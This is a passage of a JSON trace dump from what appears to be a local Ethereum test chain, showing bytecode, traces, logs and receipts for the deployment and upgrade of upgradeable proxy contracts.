935060e08b013591508082111561509157600080fd5b5061509e8b828c01614f5b565b9150509295985092959890939650565b60208101610ee48284614777565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000815180845260005b8181101561512f57602081850181015186830182015201615113565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006127d26020830184615109565b60006020828403121561517457600080fd5b81516127d2816144d7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156151db57600080fd5b815180151581146127d257600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000808335601e1984360301811261524a57600080fd5b8301803591506001600160401b0382111561526457600080fd5b6020019150600581901b36038213156140d057600080fd5b60006020828403121561528e57600080fd5b81516127d28161448d565b634e487b7160e01b600052601160045260246000fd5b80820180821115610ee457610ee4615299565b600080858511156152d257600080fd5b838611156152df57600080fd5b5050820193919092039150565b600060c08201888352602060018060a01b03808a166020860152604089604087015260c0606087015283895180865260e08801915060208b01955060005b81811015615354578651805160ff168452860151851686840152958501959183019160010161532a565b505060808701989098525050505060a09091019190915250949350505050565b60006040828403121561538657600080fd5b6127d283836148c9565b81810381811115610ee457610ee4615299565b6000600182016153b5576153b5615299565b5060010190565b60018060a01b03841681528260208201526060604082015260006153e36060830184615109565b95945050505050565b6000602082840312156153fe57600080fd5b81516001600160c01b03811681146127d257600080fd5b634e487b7160e01b600052601260045260246000fd5b60008261543a5761543a615415565b500690565b6001600160a01b038316815260406020820181905260009061464890830184615109565b8281526040602082015260006146486040830184615109565b60006020828403121561548e57600080fd5b5051919050565b6001600160a01b038416815261016081016154bd602083018580358252602090810135910152565b6154d7606083016040860180358252602090810135910152565b60406080850160a0840137604060c0850160e084013782516101208301526020830151610140830152614648565b60018060a01b038316815260406020820152600082516060604084015261552f60a0840182615109565b90506020840151606084015260408401516080840152809150509392505050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6001600160a01b03841681526040602082018190526000906153e39083018486615550565b60018060a01b03851681528360208201526060604082015260006117ab606083018486615550565b600082601f8301126155d757600080fd5b815160206155e761496f836148a6565b8083825260208201915060208460051b87010193508684111561560957600080fd5b602086015b84811015614e1257805161562181614d6c565b835291830191830161560e565b6000806040838503121561564157600080fd5b82516001600160401b038082111561565857600080fd5b615664868387016155c6565b9350602085015191508082111561567a57600080fd5b50615687858286016155c6565b9150509250929050565b8381526040602082015260006153e3604083018486615550565b600060208083850312156156be57600080fd5b82516001600160401b038111156156d457600080fd5b8301601f810185136156e557600080fd5b80516156f361496f826148a6565b81815260059190911b8201830190838101908783111561571257600080fd5b928401925b8284101561573957835161572a8161448d565b82529284019290840190615717565b979650505050505050565b60006020828403121561575657600080fd5b81516127d281614d6c565b60ff8181168382160190811115610ee457610ee4615299565b60006060820160ff8616835260206001600160601b03808716602086015260406060604087015283875180865260808801915060208901955060005b818110156157e657865180516001600160a01b0316845286015185168684015295850195918301916001016157b6565b50909a9950505050505050505050565b600061ffff80831681810361580d5761580d615299565b6001019392505050565b60006020828403121561582957600080fd5b81516001600160e01b0319811681146127d257600080fd5b6001600160601b0381811683821602808216919082811461586457615864615299565b505092915050565b60006001600160601b038084168061588657615886615415565b9216919091049291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47a26469706673582212200e3708a41147f575b52031f19707cb5ed95922585f8720c2b3f23c5c2cb16a4164736f6c63430008180033","nonce":47,"gas_used":4999239},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x4c4847","logs":[{"address":"0x36c02da8a0983159322a80ffe9f24b1acff8b570","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000001000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000"},"block_hash":"0x92debfefbf6241d89ef75629742fb8e51c70ce765df62e9a9d4cc79aaaa300cd","block_number":10},{"info":{"transaction_hash":"0x88c577f71ae26c788d79d8a1b1591842278b806368ed8a8f0b765c25d8501eea","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x7bc06c482dead17c0e297afbc32f6e63d3846650","traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x7bc06c482dead17c0e297afbc32f6e63d3846650","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60806040526040516104d43803806104d4833981016040819052610022916102d1565b61002e82826000610035565b50506103ee565b61003e83610061565b60008251118061004b5750805b1561005c5761005a83836100a1565b505b505050565b61006a816100cd565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606100c683836040518060600160405280602781526020016104ad60279139610180565b9392505050565b6001600160a01b0381163b61013f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b60606001600160a01b0384163b6101e85760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610136565b600080856001600160a01b031685604051610203919061039f565b600060405180830381855af49150503d806000811461023e576040519150601f19603f3d011682016040523d82523d6000602084013e610243565b606091505b50909250905061025482828661025e565b9695505050505050565b6060831561026d5750816100c6565b82511561027d5782518084602001fd5b8160405162461bcd60e51b815260040161013691906103bb565b634e487b7160e01b600052604160045260246000fd5b60005b838110156102c85781810151838201526020016102b0565b50506000910152565b600080604083850312156102e457600080fd5b82516001600160a01b03811681146102fb57600080fd5b60208401519092506001600160401b038082111561031857600080fd5b818501915085601f83011261032c57600080fd5b81518181111561033e5761033e610297565b604051601f8201601f19908116603f0116810190838211818310171561036657610366610297565b8160405282815288602084870101111561037f57600080fd5b6103908360208301602088016102ad565b80955050505050509250929050565b600082516103b18184602087016102ad565b9190910192915050565b60208152600082518060208401526103da8160408501602087016102ad565b601f01601f19169190910160400192915050565b60b1806103fc6000396000f3fe608060405236601057600e6013565b005b600e5b601f601b6021565b6058565b565b600060537f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156076573d6000f35b3d6000fdfea26469706673582212201b5f899d9100d05ffd16b26a8e94bf20e28dd085fba06b911d8ef847c76d3bf864736f6c63430008180033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000064c0c53b8b000000000000000000000000851356ae760d987e095750cceb3bc6014560891c00000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d99550000000000000000000000009965507d1a55bcc2695c58ba16fb37d819b0a4dc00000000000000000000000000000000000000000000000000000000","output":"0x608060405236601057600e6013565b005b600e5b601f601b6021565b6058565b565b600060537f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156076573d6000f35b3d6000fdfea26469706673582212201b5f899d9100d05ffd16b26a8e94bf20e28dd085fba06b911d8ef847c76d3bf864736f6c63430008180033","gas_used":161010,"gas_limit":231470,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x7bc06c482dead17c0e297afbc32f6e63d3846650","address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xc0c53b8b000000000000000000000000851356ae760d987e095750cceb3bc6014560891c00000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d99550000000000000000000000009965507d1a55bcc2695c58ba16fb37d819b0a4dc","output":"0x","gas_used":97510,"gas_limit":200450,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x00000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d9955"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2}]}],"exit":"Return","out":"0x608060405236601057600e6013565b005b600e5b601f601b6021565b6058565b565b600060537f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156076573d6000f35b3d6000fdfea26469706673582212201b5f899d9100d05ffd16b26a8e94bf20e28dd085fba06b911d8ef847c76d3bf864736f6c63430008180033","nonce":57,"gas_used":235266},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x39702","logs":[{"address":"0x7bc06c482dead17c0e297afbc32f6e63d3846650","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c0"],"data":"0x"},{"address":"0x7bc06c482dead17c0e297afbc32f6e63d3846650","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x7bc06c482dead17c0e297afbc32f6e63d3846650","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x00000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d9955"],"data":"0x"},{"address":"0x7bc06c482dead17c0e297afbc32f6e63d3846650","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000800000000000000000000000000000000080000000000800000000000000000000000000000000000000000000000000000000000002000001000000000400000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400002010000100000000000000000000000000000020000000200000000000040000040000002000000000000000200020000000000000000000000000000000000000000000000000000000000100000000"},"block_hash":"0xad477ea103f781cd02c0b7c6fb71076fa140daf073df6863d315ff1ff702941a","block_number":19},{"info":{"transaction_hash":"0xb6a38a3d8da1705b9b28d965f44c38bad15f54d84fdaf02eac16b102176b150c","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000010422bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":142336,"gas_limit":205678,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef286000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c00000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000010422bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":135625,"gas_limit":195906,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","address":"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x22bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":122355,"gas_limit":179999,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":19,"gas_used":166144},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x28900","logs":[{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0"],"data":"0x"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0xafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400000000000000000c00000000000000000000000000000000000000000080000000000000000100000000000000001000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800000004000000000000040000000000400000000108000000000000000000000000000000000080000000000000000000000000000000040000000002000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000000000020000000000000000000000000000000000000000000000000000000002000400000"},"block_hash":"0x5af8187dff430ad95e64c0a5f3968ada74e4a0275d643c815c76c540dd0de8d6","block_number":16},{"info":{"transaction_hash":"0x035e03a62da66d8142ad00924a2580943aa598f94e17ea62d19cbf8b0d149f5d","transaction_index":2,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x998abeb3e57409262ae5b751f60747921b33613e","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x998abeb3e57409262ae5b751f60747921b33613e","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c